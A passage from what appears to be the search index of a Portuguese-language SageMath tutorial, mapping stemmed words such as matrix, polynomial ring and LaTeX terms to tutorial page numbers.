,6,7,9,11,12,14,15,17,20,21],devel:0,develop:2,developers:0,development:4,devguid:2,dg:15,diagr:7,diagram:7,dialet:7,diant:[7,14],dic:3,dict:8,diferenc:[4,5,8,10,15,20],diferencial:12,diferent:[0,4,5,8,11,12,13,14,15,20,21,22],diff:[9,12],differential:2,digit:[0,4,5,7,8,9,11,17,20,21,22],digits:[12,13],dimension:[4,8,11,18],dimension_cusp_forms:11,dimensional:4,dimensions:11,direit:7,diret:[3,8,11,12,14],dirichlet:10,dirichletgroup:11,disabl:4,disc:[0,4],discret:5,discriminant:19,discut:7,display:7,dispon:[4,6,7,8,10,14,21],disposit:7,diss:[0,4,7,8,14,15,16,17],distingu:[0,3,11,14],distint:[5,7,14],divers:[0,4,5,6,7,8,9,10,11,12,19,21],divert:6,divid:[0,8,12,21],divirt:0,divisor:[5,17,19,21],divisors:19,diz:[4,7,11,12,18,21],docs:[2,8],docstring:[4,17],document:[0,3,4,6,7,8,9,12,17,20],documentation:[4,6],documentclass:9,documented:4,does:[8,9],dois:[1,7,8,12,14,17,21,22],domains:14,don:[4,9],donald:8,doubl:8,down:4,dp:5,drak:1,duas:[4,5,8,11,12,14,20,22],dumps:4,dupl:[7,14,21],duplic:5,dvi:7,dvipng:7,dvips:7,dx:12,echelon:[4,5,18],echelon_coordinate_vector:4,echelon_form:18,echelon_to_user_matrix:4,ed:4,edit:[4,10],edition:2,editor:[4,7],edo:12,edos:[5,12],edu:[2,4],efeit:[4,7,21],efet:[7,14],eficient:[6,8,14],eig:5,eigenvalu:[5,18],eigenvectors:5,eigenvectors_left:18,eisenstein:11,eisenstein_subspac:11,eith:8,eix:20,element:[3,8,10,11,17,18,21,22],elements:8,elips:20,ellchangecurv:5,ellglobalred:5,ellinit:5,elliptic:[4,6,11],ellipticcurv:[4,6,11],ellipticcurve_from_j:11,elltors:5,emacs:4,embor:[0,4,6,8,14,15],empreg:[3,7],enabl:4,encapsul:[0,8,17],encerr:[4,8],encontr:[0,4,6,7,8,9,11,12,14,17],end:[7,9,16],enfatiz:[7,14,17],engenheir:0,engin:7,enquant:[7,8,14,15],ensin:[3,6],entend:[4,6,7,8,9,14],enter:[8,10,17],entrad:[3,5,10,18],enumerated:14,enunc:3,env:8,envi:[5,7],envolv:[5,14,22],eof:4,eps:9,eq1:12,eq2:12,eq3:12,eq:8,eqns:12,equal:15,equation:18,equations:2,equip:18,equivalent:[7,11,14,17],errad:4,erro:[7,8,15,17,18],error:17,erros:[0,3,9,15,21],escal:20,escalon:[5,18],escolh:[4,7,11,14],escop:[7,13,20],escrev:[0,4,6,8,21],escrit:[4,6,7,8,17],esfer:20,espac:[4,5,8,10,11,12],espars:[10,14],espec:[5,10,20],especial:[5,7,19],especializ:7,especif:17,especific:[7,11,13,17,18,20,22],especifiqu:[12,15],espect:7,esper:[0,4,14,22],esquerd:18,essencial:[7,8,14],estad:[0,4],estam:3,estar:[5,7,8,14,17],estej:7,estend:[6,11,14,19],estens:6,estil:7,estiv:[4,20,22],estour:5,estranh:[0,4],estrutur:[8,11,14,17,22],estud:6,etc:[0,4,5,6,7,8,10,11,15,18],euclid:19,euclidean:14,eul:[10,19],euler_ph:19,eulers_method_2x2:12,eulers_method_2x2_plot:12,eval:[4,5,7,12],even:[9,17],evens:17,eventual:7,evil:8,evinc:7,evit:[4,7,15],evoc:[5,7,15,17,22],exam:7,examin:8,exampl:[4,7,8,9,17],exat:[0,4,7,8,9,10,13,14,17],exced:5,excelent:0,exception:4,exceptions:4,excet:[4,5,8,17],exclam:4,exclus:[0,8],exec:4,execut:[0,4,5,7,8,9],executing:4,exempl:[0,3,4,5,6,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22],exib:[5,7,20],exist:[0,4,5,6,7,8,9,11,14,15,18,21],existent:[0,6,7],exit:[4,7,8],exiting:4,exp:[9,12,13],experi:8,experient:7,experiment:6,experimentation:2,explic:[4,5,7,14,15],explicit:[5,8,11,14,17],explor:[0,6,7],exponenc:[0,1,4,8],exponent:13,expr_1:5,expr_2:5,expr_3:5,expression:15,extens:[0,11,19],extern:[3,8],extra:4,extra_macr:7,extra_preambl:7,extrem:[5,7,14],f:[1,4,5,9,11,12,15,16,20,21],f_x:20,f_y:20,f_z:20,fac:[3,8,9,12],facil:[0,6,14,21],factor:[4,5,6,8,11,19,21,22],factorial:[8,19],factoriz:5,factorization:8,factorization_integ:8,faix:5,fal:22,falh:0,fals:[4,7,8,13,14,15,16,17,20,21,22],falt:7,familiariz:3,famos:5,fan:11,far:[6,12],fat:[4,7,15,21],fatiament:8,fator:[5,7,8,11,22],fatorial:8,fatoriz:[5,11,21],favor:[0,4,14],favorit:4,faz:[0,4,5,6,7,8,9,11,14,16,17,19,20,21],fb:4,fech:4,feit:[0,4,5,6,7,8,9,14,17,19],ferrament:[7,9],fevereir:4,few:12,fic:[4,5,7,14,17],field:[0,4,5,6,8,11,14,16,17,18,19,21,22],fields:14,figur:[12,20],fil:[4,9,17],filenam:[4,8,9,20],fill:20,filtered:7,fim:[0,4,5,7,11,17,19],find:4,find_root:12,finished:4,finit:[3,8,10,11,14,18,21,22],finite_field_element:8,fiqu:[0,4],first:4,fix:14,fiz:0,flexibil:6,floating:22,floats:8,flutuant:0,foc:[5,7],folh:7,following:4,font:[0,4,6,7,8,21],foo:[7,8,9],form:[1,3,4,5,7,8,9,10,12,14,15,17,18,19,20,21,22],formal:22,format:[7,8,9,12,16,17],forms:11,formul:[7,9],fornec:[0,4,5,6,7,8,11,13,14,16,17,18],fort:[3,14],foss:[8,14,15,21],fr:2,frac:[6,7,8,9,12],fraction:21,fram:20,fre:18,free_modul:[4,8],freemodul:4,freemodule_ambient_field:4,freemodule_ambient_field_with_category:8,frequent:[0,3,10,12,14,17,20],from:[4,7,8,9],front:7,fronteir:14,full:[4,8,18],funcion:[0,4,5,7,8,9,15,17,21,22],funcional:[5,7,8,11,19],function_nam:4,function_sin:15,function_tan:17,functions:[12,15,17],fundamentals:2,futur:[0,4],fx:20,fy:20,fz:20,g:[1,2,4,5,11,12,15,16,21],gal:11,galo:[11,19],galois_group:19,galois_orbit:11,galois_orbits:11,gam:17,gamma0:11,gamma1:11,gamma_0:[4,11],gamma_1:11,ganh:6,gap:[0,2,3,4,6,8,16],gap_packag:5,gapkg:2,garant:[0,14,22],garbag:0,gargal:8,garraf:5,gast:8,gcd:[8,11,19,21],gen:[5,8,11,21],generated:[5,11,16],generator:[8,21,22],generators:[5,16],genmatrix:5,gens:[4,5,11,12,16,21],geometr:[3,6,10],geometry:[2,7],ger:[7,8,9,14,18,21],gerador:[11,14,16,18,21],geral:[3,9,10,12,14,15],gerenc:[0,5,7],get:7,gf:[8,11,14,16,18,21,22],ghostscript:7,gir:20,given:4,global:[4,5,8],glossary:4,gmp:[0,4,6,8],gnuplot:5,go:11,googl:[0,19],gost:[3,4,14,21],got:18,gp:[0,2,3,4,12,17],gpelement:5,gprc:4,grac:22,graf:3,grand:[0,4,5,6,7,20],graph:3,graph_latex:7,graphics3d:20,graphics:[9,15,20],graphs:7,gratuit:[3,6],grav:3,greg:2,greuel:[2,4],grid:5,groebn:11,groebner_bas:21,groebner_fan:11,group:[2,5,8,11,16,19],group_id:5,groups:[0,2,19],grout:12,grup:[0,3,5,10,11,14],guard:4,gui:[0,3,4,6,9],guid:[2,6],h:[2,4,12,15,16,21],haj:14,has:[4,18],has_coerce_map_from:14,hash:8,hav:0,have_convert:7,have_dvipng:7,heck:11,hell:[8,13,17],help:[3,4,6,10],her:[9,21],hf:12,hi:17,hierarqu:14,hist:4,history:4,hit:8,hom:[4,8],homomorf:[11,14],hor:[3,6],hostnam:8,hotshot2cachetre:8,hotshot2calltre:8,hotshot:8,hotspot:8,houv:[4,14],how:6,html:[2,3,6,7,8],http:[2,6,7],https:[0,2,7,8],hue:[12,20],hypotrochoid:20,i686:4,i:[4,5,6,8,11,12,13,17,18,19,20,21,22],ide:[8,12,21],ideal:[11,21],ident:[1,8,14],identific:8,idgroup:5,ignor:3,igu:14,igual:[7,8,14,18],igualdad:[3,8,10],ij_entry:5,ilustr:[4,5,7,8,11,12,14,15,18,19,21,22],imag:[7,9,20,22],imagemagick:7,imagens:7,imaginary:22,imediat:5,immutabl:[8,21],implement:[0,4,5,6,7,8,12,14,16,19,21],implementation:14,implic:[12,21],implicit:[5,8],implicit_plot3d:20,imposs:14,impress:[0,4,7],imprim:[4,5,7,11,12,17,21],imut:[8,17,21],inclu:[0,1,4,5,6,7,8,9,11,16],incorpor:7,indefin:12,independent:[3,6,14],indetermin:21,index:[2,8,17],indic:[0,4,7,8,17],individu:[3,7,12],indo:7,ineficient:[0,4],infinit:[11,14,16],infinity:[4,16],influenc:7,inform:[0,4,7,11,12,14,22],infty:11,inic:[4,5,6,17],inicial:[12,15],inicializ:[4,17],inlin:7,input:[4,9],inputs:4,inser:[4,6,7,9,17],insir:9,inspecion:0,instal:[0,3,5,9],install:0,installation:[6,7],instanc:[8,14],instancemethod:4,instant:4,instead:[8,15,21],int_0:12,intefac:5,integ:[0,4,8,9,13,14,18],integerfactorization:8,integermodring:19,integerring:4,integr:[3,5,7,10,15],integral:12,integral_bas:19,integrat:7,inteir:[0,4,7,8,11,14,17,18,19,22],intens:[7,21],inter:[0,3,5,6,7,8],interact:5,interactiv:4,interag:5,interess:[8,19],interfac:[3,4,6,7,12,16],intern:[0,7],internal:8,internet:[0,4,6],interpret:[0,4,5,6,7,8,14],interrog:17,interromp:5,intersect:[11,20],intersection:[8,11],interv:7,interval:[12,17],into:[9,15],introduz:7,invalid:4,invari:11,invers:[12,20,22],inverse_laplac:12,inverse_mod:19,invert:[7,18],investig:[4,12],ipbd:4,ipdb:4,ipython:[0,3,6,8],ipythonrc:4,ir:14,ira:8,irreducible_components:11,irrit:4,is:[1,4,8,9,13,14,21],is_abelian:16,is_ambient:4,is_dens:4,is_divisible_by:17,is_even:17,is_full:4,is_immutabl:8,is_odd:8,is_prim:8,is_spars:4,is_sqr_modp:8,is_squar:19,is_subcategory:14,ish:16,isinstanc:[8,14],isogen:11,isomorphic:16,it:[7,9],item:[8,15],items:8,iter:[3,17],its:4,ix86:4,j:[4,5,11],j_invariant:11,jason:12,jav:[8,17],javascript:7,job:4,jobs:4,join:14,joyn:2,js:[2,7],jump:4,junt:[4,7,8,12],jupyt:6,k:[6,8,11,19],k_1:12,k_2:12,k_4:7,k_:12,kaiserslautern:[2,4],kash:[4,6],kcachegrind:8,kde:4,kernel:[4,18],key:[4,8],keys:[4,8],keyword:18,kill:4,kilobyt:4,kl:2,klein:5,known:[6,9],knuth:8,konsol:4,kroneck:[8,19],kronecker_symbol:4,l:[0,4,8,11,17,20],la:[4,8,12],label:11,labels:11,lac:[3,22],lad:[5,7,12,14],lambd:[12,20],lambda1:5,lambda2:5,lambda3:5,langl:16,languag:[1,2],laplac:[5,12],largur:17,las:[0,14],last:[4,8,12,14,15,18,21],latex:[3,6,8,9,16],latex_exampl:7,latex_extra_preambl:7,latexexampl:7,laurent:21,laurentseriesring:21,lde1:12,lde2:12,ldots:5,left:[7,8,16],legendr:8,lei:[6,12],leitor:[6,14,19],leitur:6,lembr:11,lemniscat:20,len:[8,11,17,18],lend:[4,6,17],lent:[0,4,8],leq:11,ler:[4,7,8,9,12],less:15,letr:[4,7,11,12,17,21],letterpap:7,leu:0,lev:[0,4,5,6,11,21],levant:4,level:11,lib:[4,17],liber:5,library:2,licenc:3,lid:[0,4,7,8,22],limit:[7,11,14],limpez:4,lin:[0,3,4,5,6,8,9,10,12,20,22],linear_combination_of_rows:4,lineevents:8,linen:8,linguag:[0,4,5,6,8,13,14],linguagens:[6,17],linh:[0,3,5,6,7,8,12,15,17,18,20,21],link:10,linux:[4,5,6,7],lisp:5,list:[0,1,3,4,5,6,7,11,14,15,16,17,18,19,20,21],liter:[0,8],liv:[7,9],livr:[6,13],lo:[3,4,5,6,7,8,9,13,14,17,21],load:[4,8],load_session:4,loading:4,loc:0,local:[4,6,7,9,17],log2:17,log:[0,1,4,5,7,8,12,13,14,15,17,21,22],logarithm:17,logging:4,logstart:4,loop:22,loops:8,los:[0,4,5,6,7,14],lous:20,ls:4,lug:[4,6,8,15,18],m0:4,m1:4,m:[0,2,4,5,6,8,11,18,19],m_1:12,m_2:12,m_:12,macaulay:[0,6],macr:[4,7,9],macs:10,madur:[0,5],mag:2,magic:4,magm:[0,2,3,4,6,8,21],maior:[0,3,4,7,8,11,13,16,20,21],mak:[6,9],maneir:21,manipul:5,mant:[7,8],manual:[1,5,6,7,10,12,14],manus:0,map:[8,11,14],mapeament:[8,14],mapl:[0,3,4,6,8],mapping:11,margens:7,martin:8,martinralbrecht:8,mass:12,massa1:12,massa2:12,massiv:5,mat:18,math:[2,4,7],mathbb:7,mathbf:7,mathemat:[0,3,4,6],mathematics:0,mathematik:4,mathjax:7,mathjax_avoid_list:7,mathrm:9,maths:2,matlab:[0,3],matric:[8,16,18],matrix:[4,5,6,7,8,11,17,18],matrix_delimiters:7,matrixgroup:16,matrixspac:[4,5,8,16,18],matriz:[4,5,7,8,10,14,22],max:[2,12],maxim:[0,2,3,4,6,12,17,18,20],means:13,mecan:[8,14],melhor:[3,4,7,8,15],men:[7,14,15],mencion:[7,22],mensag:[7,9],ment:8,menus:7,merec:15,mesm:[0,4,5,6,8,11,13,14,16,17,20,21,22],method:4,metric:14,miktex:7,milh:[8,11],min:7,minimal_model:4,minut:0,misc:[4,7,8],miscellaneous:4,mod:[0,4,5,6,7,11,12,13,14,19],model:[3,12],modific:[0,4,5,6,8,21],modul:[4,8,10,18],modularforms:11,modularsymbols:[4,11],module_nam:4,modulus:[11,19],moebius:19,moin:2,mol:12,mola1:12,mola2:12,moment:[4,6,8,12,21],mordell:11,morfism:8,most:[4,8,14,15,18,21],mostr:[4,7,8,12,13,14],motiv:[0,15],mous:[5,20],mov:[4,5],ms:16,mud:15,muit:[0,4,5,6,7,8,9,13,18,19,21],mult:18,multipl:18,multiplic:[1,8,14,18,21,22],multiplicativ:16,multivariat:[11,21],mund:14,must:15,mwrank:11,n:[0,4,5,6,7,8,11,12,13,16,17,19,21],nad:[5,7],nagl:2,nagleetal2004:[2,12],nam:[4,5,16,22],nameerror:4,namespac:4,nativ:[0,8],natur:14,natural:[14,17,18],naveg:7,ncalls:8,ncols:8,necess:[7,8],necessari:14,necessit:7,need:[9,22],negrit:7,nenhum:[4,5,6,7,8,14,15,17],ness:[4,5,7,8,12,14,21,22],nest:[4,9,15,21],net:[2,7],neutr:14,newcommand:7,next:[4,8],next_prim:19,nh:12,noargspec:17,nom:[4,8,11,13,14,17,21,22],nomei:8,non:4,noss:[4,14,15,22],not:[1,4,5,7,8,9,10,14,15,17,18,19,20,21,22],notebook:[3,4,6,7,8,10,20],notific:0,nov:[0,4,6,7,9,11,12,17],now:[7,8,13],ntl:[6,14],nul:[11,18,22],numb:[5,8,9,11,13,15,17,19,21,22],number_of_partitions:9,numbered:4,numberfield:[11,19],numbers:17,numer:[4,10],numerical_approx:13,nunc:[5,22],nz:2,obedec:[0,8],obj:17,object:[4,7,8,15,20,21],objet:[0,3,5,7,8,10,11,12,14,15,17,18,21,22],objgen:[8,21],objgens:21,observ:[0,4,7,8,9,14,15,17,18,21,22],obtem:21,obtend:[3,10],obter:[4,7,9,12,13,16,17,21,22],obtid:[5,6,7,8,11,18],obvi:[4,8,14,15,22],ocasion:[4,15,21],ocorr:[0,4,14,15,21],ocorrent:[0,7],octob:4,ocup:[4,5],od:8,odd_part:19,of:[2,4,5,7,8,9,11,12,14,15,16,17,18,19,20,21,22],oferec:8,offers:4,ok:8,okul:7,omit:[4,9,18],on:[4,6,7,9,11],onde:[6,7,9,11,12,20],one:[4,9],only:4,opcional:[4,5,7,11,13,17],open:4,openmath:5,oper:[3,4,6,8,11,13,14,22],operacion:4,operand:14,operator:11,opt:6,optimiz:[4,8],optimization:8,optional:[4,8],or:[1,4,8,9,15],orbit:11,ordem:[1,4,5,8,12,13,17],orden:0,order:[5,8,11,16,19],ordered:8,ordering:5,org:[0,2,6,7,8],organiz:17,orient:8,orig:20,original:[15,22],orthogonal:12,ortogon:12,osx:7,otimiz:[0,3,5,6],our:18,out:8,output:[4,16],outputs:8,outr:[0,3,5,6,7,8,10,11,12,14,17,20,21,22],outubr:11,ouv:22,over:[4,5,6,8,11,14,16,18,19,21],overhead:4,overwrit:4,p1:[12,14,20],p2:[12,14,20],p3:[14,20],p:[4,5,8,10,11,12,14,20,22],packag:[2,4,9,17],pacot:[0,4,5,6,7,9,11],pag:9,palavr:[4,6],panoram:3,par:[0,1,2,3,6,7,8,9,10,11,13,14,15,16,17,18,19,20,21,22],paralel:14,parametr:[12,20],parametric_plot3d:20,parametric_plot:[12,20],parametriz:11,parc:12,parcial:7,parec:[0,5,8,14,20],pared:[4,12],parent:[0,5,8,10,11,21,22],parentes:1,part:[0,4,5,6,7,8,11,12,16,18,21,22],partial_fraction:12,particul:[4,5,8,14],particular:8,partircular:4,partitions:[9,19],pass:[0,4,7,12,17],passag:7,passei:3,past:9,path:[4,8],pdb:4,pdef:4,pdf:[3,6,7],pdflatex:7,pdoc:4,ped:9,pel:[0,1,3,5,7,8,9,10,11,12,14,15,17,18,21],pen:[4,5],pendur:4,pens:0,pequen:[7,8,12,13,15],percall:8,percorr:[3,6,10],perfectly:8,perfeit:19,performac:5,performanc:4,pergunt:[0,14,19],permanent:4,permit:[0,4,5,6,7,8,9,14,20],permut:16,permutation:[5,8,16],permutationgroup:[5,16],personaliz:[3,4],pertenc:[1,14],pertencent:21,pes:11,pesquis:[0,3,6,21],pesso:[0,6],pessoal:7,pexpect:4,pfist:[2,4],pgf:7,phi:[12,19],pi:[5,12,13,17,20,22],pictur:7,pid:8,pilh:[0,4,5],pinf:4,pior:4,pkg:7,plan:[5,11],pleas:[8,21],plot2d:5,plot3d:[5,20],plot:[9,12,15,20],plot_format:5,plots:9,plugged:15,plus:4,pm:22,png:[7,20],pod:[0,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22],poder:[9,17],point:22,pois:[0,4,5,6,8,14,15,21],pol:20,polcycl:21,poly:21,polygen:[11,12],polygon:20,polyhedral:11,polyhedralfan:11,polynomial:[2,4,5,11,14,19,21],polynomial_quotient_ring:19,polynomialring:[4,11,12,14,19,21,22],polynomials:12,pont:[4,7,8,11,12,14,17,20],popul:0,porqu:[4,8,11,14,15,17,20,22],portabil:0,portant:[0,1,4,6,7,8,11,12,13,14,18,22],posfaci:3,posicion:7,posit:17,positiv:17,poss:[3,4,6,8,14],possibil:[7,14,20],possivel:9,possu:[0,4,5,7,8,10,11,13,14,15,16,17,19,20,21,22],post:11,posterior:4,postscript:7,potenc:14,potencial:14,pouc:[0,3,4,9,10,12,14,21],pow:21,powerseriesring:21,pp:4,praz:3,pre:[0,4],preambul:7,prec:13,precedent:[3,13],precis:[0,5,6,7,8,9,11,12,22],precision:[17,19,21,22],preench:20,prefix:4,prematur:8,prepars:4,pres:12,presenc:7,present:[4,15],preserv:14,pression:[4,10,17],pretty_print:7,previous:4,previous_prim:19,prim:[8,11,21,22],primary_decomposition:21,prime_divisors:19,prime_rang:19,prime_to_m_part:19,primeir:[0,1,4,5,7,8,12,14,15,17,18,21],primit:8,primitiv:[15,20],princip:7,principal:[6,8],print:[7,8,16,17,19],prioridad:0,problem:[4,12,14,15,19],proced:[5,6],process:[3,4,5,8,10],procur:[0,4,8,15],prod:19,produced:7,produt:11,produz:[7,9,15,20],prof:8,professor:[6,20],profil:[0,4,8],profiling:3,program:[0,3,4,5,6,13,17],programming:[2,8],projects:7,projet:[0,11,14,21],prompt:4,prompts:3,pront:4,propriedad:[0,18],provavel:[4,22],provoc:15,prun:8,ps2pdf:7,pstricks:7,pud:14,pur:[0,8],put:9,puzzl:17,py2:[0,8,17],py3:[8,17],py:[0,2,4,8,17],pyb:[2,6],pydev:[0,2],pylr:[2,4],pyr:[2,8],pyrex:2,pyt:[2,8],python2:[4,17],python:[1,2,3,4,5,6,7,9,13,14,15,17,18,21],pythongrind:8,q:[4,7,11,12,14,16],q_expansion_bas:11,qp:19,qq:[4,5,7,8,11,12,14,18,19,21,22],qqbar:22,qua:[0,6,7,8,12,14,17],quad:12,quadr:[8,17,18,22],quadratic_twist:11,quaisqu:4,qualidad:7,qualific:[0,14],qualqu:[0,4,5,7,8,10,13,14,17,21],quand:[0,4,5,7,8,9,11,14,15,17,21,22],quant:[0,1,8,21],quantidad:[0,4,5],quart:12,quas:[4,7],quatr:7,quebr:17,queir:14,quer:[4,6,7,12,22],quick:4,quickref:4,quis:[0,4,6,8,17,21],quit:4,quocient:[0,8],quot:[4,8],quotient:[13,19],r1:[5,14],r2:14,r3:14,r:[4,8,11,14,17,19,21],racion:[0,14,18,22],racional:[8,14,22],rai:20,rais:4,raiz:[11,22],ram:20,random:[4,7,8,12,16],random_element:[8,16,18],rang:[4,6,7,8,11,17,18,19,20],rangl:16,rank:[6,11,18],rapid:6,rar:[0,4],rational:[0,4,6,8,11,13,14,18,19,21,22],rational_reconstruction:19,rationalfield:[21,22],rationals:8,ratpoly:22,rea:[14,18,21,22],reabert:4,reading:4,readlin:4,real:[17,22],realfield:[12,17],realiz:[5,8,12],realment:[6,7],realnumb:8,realpoly:22,recalcul:7,recall:4,recarreg:8,receb:[9,12],recent:[4,7,8,14,15,18,21],reclam:9,recomend:7,recompil:8,recompiling:8,reconhec:7,reconstru:4,recuper:[0,4,11,21],recurs:[4,6,7,8,11],red:[0,20],redefin:[4,7],redistribu:6,reduced_groebner_bas:11,reduz:[4,12,22],ree_modul:4,reescrit:12,refer:[6,13,14,22],referenc:[1,2,5,10],referent:[3,4,5,6,7,8,12,14],reflet:20,regr:[0,8],regul:11,regular:[0,4],reinic:[4,8],reinici:4,reinvent:3,relacion:[0,3,6,7,11,15,19],relativ:[19,22],releas:4,relembr:12,relev:[0,4,7,15],remaind:13,remov:[4,17],rep:4,repet:5,replaying:4,repr:5,represent:[4,7,8,11,12,15,17,20,21,22],requ:[4,7,11],requer:[4,14],required:8,requisit:13,reset:22,resolv:[5,10,18,20],respect:[7,8,12,22],respeit:[0,5,12,14,20,21,22],respond:10,respost:[1,7,12,18],ressalv:15,rest:[1,19],restabelec:22,restant:4,restaur:4,restrit:[5,8],result:[4,5,7,8,9,11,12,14,17,20],resum:5,ret:[15,20],retangul:20,retorc:20,retorn:[0,4,8,13,15,18,21],retrieved:4,retroat:7,returns:[4,13],retval:4,reutiliz:8,revers:[3,8],rgbcolor:[12,20],riemann:[5,8],right:[7,8,16],rigor:14,ring:[5,8,11,14,18,19,21,22],ringelement:14,rings:[8,13,14],rob:7,robust:[0,5,6],roch:5,rod:3,root:[8,22],rossum:1,rotin:[0,7,9,21],rows:18,rr:[7,14,17,18,22],rrr:7,rrrr:16,rul:22,run:[8,9],running:4,rv:4,rw:4,s3:19,s:[0,2,4,7,8,9,11,12,14,15,18,20,21],sa:[2,6],sab:[0,4,14,15,22],saff:2,sag:[1,2,5,9,10,11,12,13,14,15,16,17,18,19,20,21,22],sage_eval:[5,8],sage_root:[4,6,8,9],sageblock:9,sagecell:6,sagemath:[0,2,4,6],sageplot:9,sagetex:[3,6,7],sagex:8,saib:14,sair:4,salv:[0,3,8,20],satisfaz:11,satisfeit:14,sav:[4,9,20],save_session:4,saved:4,saving:4,schoenemann:4,script:[8,9],scripts:[3,6,9],sea:11,second:[4,9],seconds:[4,8],seg:[4,12,17],segu:[4,7,8,11,12,14,17,18,19,21,22],seguint:[1,4,5,7,8,9,11,12,14,15,16,17,19,20,21,22],segund:[4,5,7,8,11,12,14,17],segur:4,sej:[0,4,6,7,8,17,21],selecion:[4,7],self:[4,17],semelh:[7,8,12,21],sempr:[6,7],sen:20,send:[0,7,21],sends:15,sent:14,separ:[5,6,17],separat:4,sequenc:[8,9],sequence_generic:8,ser:[0,4,5,6,7,8,9,10,11,12,14,15,17,18,20,21,22],seri:21,serializ:4,servidor:[0,4,5,7],session:4,sessionam:4,sessionnam:4,set:[4,8],set_immutabl:8,sets:14,settings:4,setup:[0,4],setup_latex_preambl:7,sf:2,shar:[6,9],shell:[4,5],shift:[7,10],should:7,show:[12,20],si:[2,15,21],sig:[0,9],sigl:11,sigm:19,sign:[4,11],signif:[0,4,5,8,9,12,14,15,21],signific:[0,4,7,14],silenc:5,sim:[14,21],simath:0,simbol:[5,12],simil:[4,5,7,8,14,21,22],similar:[14,18],simons:11,simpl:[4,6,7,8,9,20],simples:[4,5,7,8,17,21],simplific:17,simultan:8,sin:[4,5,7,9,12,13,15,17,20],sinaliz:7,sinc:4,singl:8,singul:[0,2,3,4,6,21],sintax:[4,8,15,17,18],sistem:[0,3,5,6,7,8,9,10],sit:[0,2,4,6,17],siz:[8,11,14,16,18,21,22],sj:2,slicing:8,snid:2,so:4,sob:3,sobj:4,sobr:[0,3,4,5,6,7,8,9,10,11,12,14,16,17,18,19,21,22],sofistic:[0,5],softw:[4,6,8],softwar:[0,3,6,11,20],solicit:5,solns:12,solution_dict:12,solutions:18,solv:[12,17],solve_left:18,solve_right:18,som:[1,9,11,14,19,20],some_function:4,soment:[15,21],somewhat:4,somewher:9,sourc:4,sourceforg:7,sout:9,sp:16,spac:[4,8,11,14,18],span_of_bas:4,spars:[14,18],special:12,spyx:8,sqrt:[6,8,12,13,22],squar:22,srang:20,st_exampl:9,started:4,starting:4,stat:4,stats:8,status:4,stein:[2,11],step:4,str:[4,8,13],string:[4,5,7,11,13],strings:[0,7,8,17,22],structur:8,sty:7,su:16,sub:8,subconjunt:7,subespac:[4,18],subgroup:[5,11,16],subjacent:5,submodul:4,subprocess:4,subschem:11,subspac:[11,18],substancial:0,substitu:[0,8,12,15],suced:8,sucess:[0,7],such:4,sudoku:17,suficient:[4,14],sufix:[0,8],suger:[4,12,17],sum:[4,19],sum_:11,superior:7,suponh:[4,7],suport:[0,4,5,7,8,16,18,21],supost:[7,14],support:[8,19],sutil:22,sy:12,symbolic:15,symbols:[4,11],symmetric:[8,22],symmetricgroup:8,symplectic:16,synonym:13,syntax:[4,17],syntaxerror:4,sys:[4,8,11],system:[0,2,4,7],t2:11,t:[4,9,11,12,20,21,22],t_2:11,t_3:11,t_5:11,t_p:11,t_vec:5,ta:17,tab:[3,7,8,17],tabel:[1,7,12,13,16,17],tabl:8,tabul:[3,8,10,15],tachyon:17,tais:[8,11,14,16],tak:4,tal:[4,8,11,14,18],talvez:[4,7],tamanh:[5,7],tan:[17,20],tangent:[17,20],tanh:[17,20],tant:[3,9,12,14,20,21],tard:4,taref:5,taylor:17,tbreak:4,tecl:[4,7,8,17],tecnolog:3,tel:[4,21],temp:[0,3,8],tend:[7,11],tenh:[0,8,9],tent:[4,7,8,14,21],tentat:7,teor:[3,5,6,7,10],teorem:[6,19],ter:[6,7,14,17],terceir:[8,11,14,17,20,21],term:[4,12],termin:[4,8],terminal:4,terms:4,test:[0,1,4,7,8,14],tested:[4,5,7],testing:7,tex:[3,4,6,9],texmf:[6,7,9],texshop:7,text:[3,7,9,11,18,20],texttt:7,than:15,that:[4,12],the:[0,2,4,7,8,9,11,13,15,17,22],them:[4,9],then:[4,9],ther:9,thet:12,things:9,thre:2,thread:4,threejs:[2,20],tikz:7,tikzpictur:7,tim:[4,8,11,18],timestamping:4,tinymc:7,tip:[3,4,5,6,10,11,13,17,20,21,22],tipag:[13,14],tipic:[7,20],tiv:7,tkz:3,tmp:4,to:[4,6,7,8,9,11,12,15,16,17,22],tod:[0,4,5,7,8,11,13,14,22],todav:[0,4,5,6,7,8,11,14,17,21,22],tomagaw:11,top:8,topic:4,topics:4,tor:20,torc:11,torn:[4,6,15],toroidal:11,total:[4,7,8,11],tottim:8,trabalh:[7,8,19,21],trac:18,traceback:[4,8,14,15,18,21],transfer:5,transform:[4,5,8,12],transformation:4,transparent:3,trat:[14,15,17,22],trech:7,tri:4,tridimension:10,trig:15,trivial:[4,11],tru:[5,7,8,11,12,13,14,17,18,19,20,21,22],truqu:5,tud:[4,5,7,9],tupl:3,turned:4,tut:4,tutorial:[0,2,4,6,7,8,9,10,14,17],twic:8,twisted:0,txt:4,txy:12,type:[4,5,8,13,14,15,17],typeerror:[4,8,14,18],typeset:7,tz:12,u:[2,4,5,12,19,20],umbrell:20,unabl:4,unal:4,unchecked:7,undefined:9,underscor:14,undocumented:4,unexpected:18,uni:2,unidad:11,unific:[4,6],unit:21,unit_gens:11,units:19,univariat:[14,19,21],univers:[8,21],universitaet:4,university:2,unix:[4,8],unknown:9,unlik:13,unlimited:4,unsupported:14,up:[4,17],usa:[4,5,6,7,8,11,12,13,17,21],usad:[0,4,5,6,7,8,14,15,18,20,21,22],usag:8,usam:[0,4,6,7,17,21],usand:[0,3,4,5,7,8,11,12,14,15,16,17,18,20,21,22],usar:[3,4,5,7,8,9,11,12,14,15,18,20,21],use:[4,6,7,8,9,12,13,15,17,18,20],usepackag:[7,9],user:[4,8,11],using:[4,9,14],uso:[0,3,4,5,12,14,21,22],usos:[7,8],usr:[4,8],usu:[7,9,11,18],usual:[4,5,8,9,20],usyd:2,utiliz:[6,8,9,13,17],v1:5,v2:5,v3:5,v:[4,5,8,11,12,17,18,19,20],vai:[4,5,6,7,8,9,14,15,17,22],val:[4,21],valor:[4,5,8,11,12,13,15,17,20,22],valu:11,valuation:19,valueerror:[4,8,15,18,21],vam:[4,5,8,11,12,14,18,20,21],vari:[0,4,5,6,8,12,15,17,20,21,22],variabl:[4,12,15,21],variedad:11,vars:5,vast:17,vector:[4,8,18],vector_delimiters:7,vectorspac:[4,5,8,18],vej:[0,4,6,7,8,9,10,12,15,18,20,22],veloc:8,vem:[5,6,8,9],ver:[4,7,9,17,21],verbatim:9,verd:20,verdad:5,verdadeir:[